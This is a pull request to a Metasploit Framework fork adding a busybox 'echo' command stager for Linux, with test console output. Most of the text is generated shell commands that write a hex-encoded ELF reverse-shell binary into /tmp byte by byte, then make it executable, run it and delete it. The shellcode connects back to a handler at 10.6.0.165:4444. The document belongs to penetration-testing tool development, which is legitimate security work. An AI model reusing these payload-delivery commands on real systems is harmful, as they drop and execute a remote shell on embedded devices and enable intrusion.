jvennix-r7/metasploit-framework — pull request #6 by jvazquez-r7 (2013-09-11 18:42:29+00:00)
Title: Cmdstager echo linux

Include:

* switch to the soft tab thing
* first version of a cmd stager for busybox, there is a modules/exploits/linux/http/busybox_cmd_stager_test.rb module in order to test :) still need to test the linksys device you took today!

```
msf exploit(busybox_cmd_stager_test) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444
[*] Executing CMD Stager with default linemax, dumping to /tmp/test1.txt
[*] Command Stager progress - 100.00% done (1445/1445 bytes)
[*] Executing CMD Stager with default linemax, dumping to /tmp/test2.txt
[*] Command Stager progress - 5.27% done (96/1823 bytes)
[*] Command Stager progress - 10.53% done (192/1823 bytes)
[*] Command Stager progress - 15.80% done (288/1823 bytes)
[*] Command Stager progress - 21.06% done (384/1823 bytes)
[*] Command Stager progress - 26.33% done (480/1823 bytes)
[*] Command Stager progress - 31.60% done (576/1823 bytes)
[*] Command Stager progress - 36.86% done (672/1823 bytes)
[*] Command Stager progress - 42.13% done (768/1823 bytes)
[*] Command Stager progress - 47.39% done (864/1823 bytes)
[*] Command Stager progress - 52.66% done (960/1823 bytes)
[*] Command Stager progress - 57.93% done (1056/1823 bytes)
[*] Command Stager progress - 63.19% done (1152/1823 bytes)
[*] Command Stager progress - 68.46% done (1248/1823 bytes)
[*] Command Stager progress - 73.72% done (1344/1823 bytes)
[*] Command Stager progress - 78.99% done (1440/1823 bytes)
[*] Command Stager progress - 84.26% done (1536/1823 bytes)
[*] Command Stager progress - 89.52% done (1632/1823 bytes)
[*] Command Stager progress - 94.79% done (1728/1823 bytes)
[*] Command Stager progress - 100.00% done (1823/1823 bytes)

Juans-MacBook-Pro:metasploit-framework juan$ cat /tmp/test1.txt
echo -en \\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x12\\x01\\x00\\x00\\xd0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x6a\\x02\\x58\\xcd\\x80\\x85\\xc0\\x74\\x06\\x31\\xc0\\xb0\\x01\\xcd\\x80\\x31\\xc9\\x31\\xdb\\xf7\\xe3\\xb0\\xa4\\xcd\\x80\\x31\\xc9\\x31\\xdb\\x6a\\x46\\x58\\xcd\\x80\\x31\\xdb\\x6a\\x17\\x58\\xcd\\x80\\x31\\xc9\\x31\\xdb\\xf7\\xe3\\xb0\\xaa\\xcd\\x80\\x31\\xc9\\x31\\xdb\\x6a\\x47\\x58\\xcd\\x80\\x31\\xdb\\x6a\\x2e\\x58\\xcd\\x80\\x31\\xc9\\x31\\xdb\\x6a\\x46\\x58\\xcd\\x80\\x6a\\x3d\\x89\\xe3\\x6a\\x27\\x58\\xcd\\x80\\x89\\xd9\\x58\\xcd\\x80\\x31\\xc0\\x50\\x66\\x68\\x2e\\x2e\\x89\\xe3\\x6a\\x3d\\x59\\xb0\\x0c\\xcd\\x80\\xe2\\xfa\\x6a\\x3d\\x89\\xd9\\x58\\xcd\\x80\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x93\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68\\x0a\\x06\\x00\\xa5\\x68\\x02\\x00\\x11\\x5c\\x89\\xe1\\xb0\\x66\\x50\\x51\\x53\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\\x31\\xdb\\x6a\\x01\\x58\\xcd\\x80>>/tmp/fXxhn ; chmod +x /tmp/fXxhn ; /tmp/fXxhn ; rm -f /tmp/fXxhn
MSFLINE
Juans-MacBook-Pro:metasploit-framework juan$ cat /tmp/test2.txt
echo -en \\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00>>/tmp/IOWTM
MSFLINE
echo -en \\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x04\\x08\\x34\\x00>>/tmp/IOWTM
MSFLINE
echo -en \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01>>/tmp/IOWTM
MSFLINE
echo -en \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00>>/tmp/IOWTM
MSFLINE
echo -en \\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x12\\x01\\x00\\x00\\xd0\\x01\\x00>>/tmp/IOWTM
MSFLINE
echo -en \\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x6a\\x02\\x58\\xcd\\x80\\x85>>/tmp/IOWTM
MSFLINE
echo -en \\xc0\\x74\\x06\\x31\\xc0\\xb0\\x01\\xcd\\x80\\x31\\xc9\\x31\\xdb\\xf7\\xe3>>/tmp/IOWTM
MSFLINE
echo -en \\xb0\\xa4\\xcd\\x80\\x31\\xc9\\x31\\xdb\\x6a\\x46\\x58\\xcd\\x80\\x31\\xdb>>/tmp/IOWTM
MSFLINE
echo -en \\x6a\\x17\\x58\\xcd\\x80\\x31\\xc9\\x31\\xdb\\xf7\\xe3\\xb0\\xaa\\xcd\\x80>>/tmp/IOWTM
MSFLINE
echo -en \\x31\\xc9\\x31\\xdb\\x6a\\x47\\x58\\xcd\\x80\\x31\\xdb\\x6a\\x2e\\x58\\xcd>>/tmp/IOWTM
MSFLINE
echo -en \\x80\\x31\\xc9\\x31\\xdb\\x6a\\x46\\x58\\xcd\\x80\\x6a\\x3d\\x89\\xe3\\x6a>>/tmp/IOWTM
MSFLINE
echo -en \\x27\\x58\\xcd\\x80\\x89\\xd9\\x58\\xcd\\x80\\x31\\xc0\\x50\\x66\\x68\\x2e>>/tmp/IOWTM
MSFLINE
echo -en \\x2e\\x89\\xe3\\x6a\\x3d\\x59\\xb0\\x0c\\xcd\\x80\\xe2\\xfa\\x6a\\x3d\\x89>>/tmp/IOWTM
MSFLINE
echo -en \\xd9\\x58\\xcd\\x80\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1>>/tmp/IOWTM
MSFLINE
echo -en \\xb0\\x66\\xcd\\x80\\x93\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68\\x0a>>/tmp/IOWTM
MSFLINE
echo -en \\x06\\x00\\xa5\\x68\\x02\\x00\\x11\\x5c\\x89\\xe1\\xb0\\x66\\x50\\x51\\x53>>/tmp/IOWTM
MSFLINE
echo -en \\xb3\\x03\\x89\\xe1\\xcd\\x80\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62>>/tmp/IOWTM
MSFLINE
echo -en \\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\\x31\\xdb\\x6a>>/tmp/IOWTM
MSFLINE
echo -en \\x01\\x58\\xcd\\x80>>/tmp/IOWTM ; chmod +x /tmp/IOWTM ; /tmp/IOWTM ; rm -f /tmp/IOWTM
MSFLINE

```

The MSFLINE lines are added intentionally by the test exploit in order to improve readability, they arent included by cmd stager :)